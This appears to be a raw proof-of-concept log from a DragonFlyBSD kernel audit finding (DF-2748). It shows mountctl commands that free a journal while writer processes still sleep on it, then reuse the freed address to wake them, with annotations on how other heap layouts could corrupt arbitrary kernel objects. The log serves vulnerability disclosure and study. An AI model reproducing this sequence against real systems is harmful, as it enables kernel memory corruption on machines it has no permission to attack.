DragonFlyBSD Kernel Audit
DF-2748 / run2.log
← back to finding ↓ download raw
DF-2748 run2.log — post-wedge state, journal deletion, wake-through-reuse
(stock kernel #0, same session as run.log)

$ mountctl -l /tmp
/tmp:wedge
    membufsize= 64K
    membufused= 63K
    membufunacked= 63K          <-- xindex frozen: un-acked pinned at 63K
    total_bytes=0
    fifo_stalls=2               <-- both children stalled (forever)
$ ps -axo pid,state,wchan,comm | grep -E "df2748|journal|mountctl"
  -1 B5     jfifo    journal w:wedge
 1009 D4     jwrite   df2748
 1010 D5     jwrite   df2748

$ nohup sh -c "mountctl -d /tmp:wedge" ... ; sleep 8
$ cat /root/poc/mountctl_d.log
/tmp:wedge deleted
1 journals deleted                       <-- destroy COMPLETED:
                                            jo + fifo.membase FREED while
                                            sleepers persist
$ ps -axo pid,state,wchan,comm | grep -E "mountctl|df2748|journal"
 1009 D4     jwrite   df2748             <-- still sleeping on freed memory
 1010 D5     jwrite   df2748
$ ls -la /root/j2.bin
-rw-r--r-- 1 root root 64208 ... /root/j2.bin

# --- reuse phase: allocate a NEW journal with identical sizes ---
$ mountctl -a -w /root/j3.bin -o memfifo=64k /tmp:wedge2
/tmp:wedge2 added
$ ps -axo pid,state,wchan,comm | grep df2748
 1009 D4     jwrite   df2748
 1010 D5     jwrite   df2748
# hammer the new journal (dd 8x96K through /tmp/jstress):
$ mountctl -l /tmp   (after ~10 s)
/tmp:wedge2
    membufsize= 64K
    membufused=0
    membufunacked=0
    total_bytes=1.14M
    fifo_stalls=15              <-- reserve-stall wakeups fired on the
                                     REUSED &jo->fifo.windex address
$ ps -axo pid,state,wchan,comm | grep -E "df2748|journal"
  -1 B1     jfifo    journal w:wedge2
                                  <-- zombies GONE: they were woken by the
                                     reused wchan, executed journal_reserve()
                                     on the freed->reused journal state,
                                     completed the syscall, and took the
                                     long-pending SIGKILL at userret.
$ dmesg | tail    (no panic; in THIS heap layout the reused addresses
                    belonged to the new journal's own fifo, so the zombie
                    writes landed in a live journal buffer — benign layout.
                    Other layouts point rawp=membase+(windex&mask) into
                    arbitrary recycled objects.)

Both journal streams (j2.bin 64,208 B / j3.bin 983,968 B) parse as clean
contiguous chains (parse_stream.py): the zombies' post-wake writes did not
corrupt these particular streams; the demonstration is the wake itself.